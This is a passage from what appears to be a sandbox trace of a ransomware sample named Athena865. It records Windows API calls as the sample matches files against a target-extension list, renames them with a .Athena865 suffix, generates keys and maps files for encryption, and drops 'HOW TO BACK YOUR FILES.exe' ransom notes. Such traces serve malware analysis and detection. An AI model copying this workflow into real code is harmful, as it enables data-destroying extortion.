lpString2="accft") returned 1 [0053.637] lstrlenW (lpString="adb") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.637] lstrlenW (lpString="adb") returned 3 [0053.637] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0053.637] lstrlenW (lpString="ade") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0053.638] lstrlenW (lpString="adf") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0053.638] lstrlenW (lpString="adn") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0053.638] lstrlenW (lpString="adp") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0053.638] lstrlenW (lpString="alf") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0053.638] lstrlenW (lpString="ask") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0053.638] lstrlenW (lpString="btr") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0053.638] lstrlenW (lpString="cat") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0053.638] lstrlenW (lpString="cdb") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0053.638] lstrlenW (lpString="ckp") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0053.638] lstrlenW (lpString="cma") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0053.638] lstrlenW (lpString="cpd") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0053.638] lstrlenW (lpString="dacpac") returned 6 [0053.638] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0053.638] lstrlenW (lpString="dad") returned 3 [0053.638] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0053.638] lstrlenW (lpString="dadiagrams") returned 10 [0053.638] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0053.638] lstrlenW (lpString="daschema") returned 8 [0053.638] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0053.638] lstrlenW (lpString="db-journal") returned 10 [0053.638] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0053.639] lstrlenW (lpString="db-shm") returned 6 [0053.639] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0053.639] lstrlenW (lpString="db-wal") returned 6 [0053.639] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0053.639] lstrlenW (lpString="dbc") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0053.639] lstrlenW (lpString="dbs") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0053.639] lstrlenW (lpString="dbt") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0053.639] lstrlenW (lpString="dbv") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0053.639] lstrlenW (lpString="dbx") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0053.639] lstrlenW (lpString="dcb") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0053.639] lstrlenW (lpString="dct") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0053.639] lstrlenW (lpString="dcx") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0053.639] lstrlenW (lpString="ddl") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0053.639] lstrlenW (lpString="dlis") returned 4 [0053.639] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0053.639] lstrlenW (lpString="dp1") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0053.639] lstrlenW (lpString="dqy") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0053.639] lstrlenW (lpString="dsk") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0053.639] lstrlenW (lpString="dsn") returned 3 [0053.639] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0053.639] lstrlenW (lpString="dtsx") returned 4 [0053.640] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0053.640] lstrlenW (lpString="dxl") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0053.640] lstrlenW (lpString="eco") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0053.640] lstrlenW (lpString="ecx") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0053.640] lstrlenW (lpString="edb") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0053.640] lstrlenW (lpString="epim") returned 4 [0053.640] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0053.640] lstrlenW (lpString="fcd") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0053.640] lstrlenW (lpString="fdb") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0053.640] lstrlenW (lpString="fic") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0053.640] lstrlenW (lpString="flexolibrary") returned 12 [0053.640] lstrlenW (lpString="fm5") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.640] lstrlenW (lpString="fmp") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.640] lstrlenW (lpString="fmp12") returned 5 [0053.640] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.640] lstrlenW (lpString="fmpsl") returned 5 [0053.640] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.640] lstrlenW (lpString="fol") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.640] lstrlenW (lpString="fp3") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.640] lstrlenW (lpString="fp4") returned 3 [0053.640] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.640] lstrlenW (lpString="fp5") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.641] lstrlenW (lpString="fp7") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.641] lstrlenW (lpString="fpt") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.641] lstrlenW (lpString="frm") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.641] lstrlenW (lpString="gdb") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.641] lstrlenW (lpString="gdb") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.641] lstrlenW (lpString="grdb") returned 4 [0053.641] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.641] lstrlenW (lpString="gwi") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.641] lstrlenW (lpString="hdb") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.641] lstrlenW (lpString="his") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.641] lstrlenW (lpString="ib") returned 2 [0053.641] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.641] lstrlenW (lpString="idb") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.641] lstrlenW (lpString="ihx") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.641] lstrlenW (lpString="itdb") returned 4 [0053.641] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.641] lstrlenW (lpString="itw") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.641] lstrlenW (lpString="jet") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.641] lstrlenW (lpString="jtx") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.641] lstrlenW (lpString="kdb") returned 3 [0053.641] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.642] lstrlenW (lpString="kexi") returned 4 [0053.642] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.642] lstrlenW (lpString="kexic") returned 5 [0053.642] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.642] lstrlenW (lpString="kexis") returned 5 [0053.642] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.642] lstrlenW (lpString="lgc") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.642] lstrlenW (lpString="lwx") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.642] lstrlenW (lpString="maf") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.642] lstrlenW (lpString="maq") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.642] lstrlenW (lpString="mar") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.642] lstrlenW (lpString="marshal") returned 7 [0053.642] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.642] lstrlenW (lpString="mas") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.642] lstrlenW (lpString="mav") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.642] lstrlenW (lpString="maw") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.642] lstrlenW (lpString="mdbhtml") returned 7 [0053.642] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.642] lstrlenW (lpString="mdn") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.642] lstrlenW (lpString="mdt") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.642] lstrlenW (lpString="mfd") returned 3 [0053.642] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.642] lstrlenW (lpString="mpd") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.643] lstrlenW (lpString="mrg") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.643] lstrlenW (lpString="mud") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.643] lstrlenW (lpString="mwb") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.643] lstrlenW (lpString="myd") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.643] lstrlenW (lpString="ndf") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.643] lstrlenW (lpString="nnt") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.643] lstrlenW (lpString="nrmlib") returned 6 [0053.643] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.643] lstrlenW (lpString="ns2") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.643] lstrlenW (lpString="ns3") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.643] lstrlenW (lpString="ns4") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.643] lstrlenW (lpString="nsf") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.643] lstrlenW (lpString="nv") returned 2 [0053.643] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.643] lstrlenW (lpString="nv2") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.643] lstrlenW (lpString="nwdb") returned 4 [0053.643] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.643] lstrlenW (lpString="nyf") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.643] lstrlenW (lpString="odb") returned 3 [0053.643] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.644] lstrlenW (lpString="odb") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.644] lstrlenW (lpString="oqy") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.644] lstrlenW (lpString="ora") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.644] lstrlenW (lpString="orx") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.644] lstrlenW (lpString="owc") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.644] lstrlenW (lpString="p96") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.644] lstrlenW (lpString="p97") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.644] lstrlenW (lpString="pan") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.644] lstrlenW (lpString="pdb") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.644] lstrlenW (lpString="pdm") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.644] lstrlenW (lpString="pnz") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.644] lstrlenW (lpString="qry") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.644] lstrlenW (lpString="qvd") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.644] lstrlenW (lpString="rbf") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.644] lstrlenW (lpString="rctd") returned 4 [0053.644] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.644] lstrlenW (lpString="rod") returned 3 [0053.644] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.644] lstrlenW (lpString="rodx") returned 4 [0053.644] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.645] lstrlenW (lpString="rpd") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.645] lstrlenW (lpString="rsd") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.645] lstrlenW (lpString="sas7bdat") returned 8 [0053.645] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.645] lstrlenW (lpString="sbf") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.645] lstrlenW (lpString="scx") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.645] lstrlenW (lpString="sdb") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.645] lstrlenW (lpString="sdc") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.645] lstrlenW (lpString="sdf") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.645] lstrlenW (lpString="sis") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.645] lstrlenW (lpString="spq") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.645] lstrlenW (lpString="te") returned 2 [0053.645] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.645] lstrlenW (lpString="teacher") returned 7 [0053.645] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.645] lstrlenW (lpString="tmd") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.645] lstrlenW (lpString="tps") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.645] lstrlenW (lpString="trc") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.645] lstrlenW (lpString="trc") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.645] lstrlenW (lpString="trm") returned 3 [0053.645] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.646] lstrlenW (lpString="udb") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.646] lstrlenW (lpString="udl") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.646] lstrlenW (lpString="usr") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.646] lstrlenW (lpString="v12") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.646] lstrlenW (lpString="vis") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.646] lstrlenW (lpString="vpd") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.646] lstrlenW (lpString="vvv") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.646] lstrlenW (lpString="wdb") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.646] lstrlenW (lpString="wmdb") returned 4 [0053.646] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.646] lstrlenW (lpString="wrk") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.646] lstrlenW (lpString="xdb") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.646] lstrlenW (lpString="xld") returned 3 [0053.646] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.646] lstrlenW (lpString="xmlff") returned 5 [0053.646] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.646] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Downloads\\desktop.ini.Athena865") returned 65 [0053.646] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Downloads\\desktop.ini" (normalized: "c:\\documents and settings\\default\\downloads\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\Downloads\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\downloads\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.647] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Downloads\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\default\\downloads\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.648] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=282) returned 1 [0053.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db10 [0053.648] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0053.648] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519998) returned 1 [0053.649] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.649] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.649] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x420, lpName=0x0) returned 0x154 [0053.651] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x420) returned 0x100000 [0053.651] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519998) returned 1 [0053.652] CryptGenRandom (in: hProv=0x519998, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.652] CryptReleaseContext (hProv=0x519998, dwFlags=0x0) returned 1 [0053.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.653] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.653] CloseHandle (hObject=0x154) returned 1 [0053.653] CloseHandle (hObject=0x17c) returned 1 [0053.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db10 | out: hHeap=0x4f0000) returned 1 [0053.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0053.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.653] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf8e700, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.653] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.653] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf8e700, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0053.653] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0053.653] ReleaseMutex (hMutex=0xec) returned 1 [0053.654] CloseHandle (hObject=0xec) returned 1 [0053.654] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Favorites" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites") returned="C:\\Documents and Settings\\Default\\Favorites" [0053.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5288f0 | out: hHeap=0x4f0000) returned 1 [0053.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c7b8 | out: hHeap=0x4f0000) returned 1 [0053.654] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Favorites") returned 43 [0053.654] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A621C3979275C65139298B3779D17BE5") returned 0xec [0053.654] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0053.654] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Favorites" | out: lpString1="C:\\Documents and Settings\\Default\\Favorites") returned="C:\\Documents and Settings\\Default\\Favorites" [0053.654] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0053.654] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0053.654] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\favorites\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0053.655] GetLastError () returned 0x0 [0053.655] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0053.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0053.655] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0053.655] CloseHandle (hObject=0xf4) returned 1 [0053.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0053.656] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0053.656] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Favorites\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0053.656] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.656] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.656] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0053.656] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbcf8e700, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf8e700, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.656] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.656] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0053.656] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0053.656] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0053.656] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 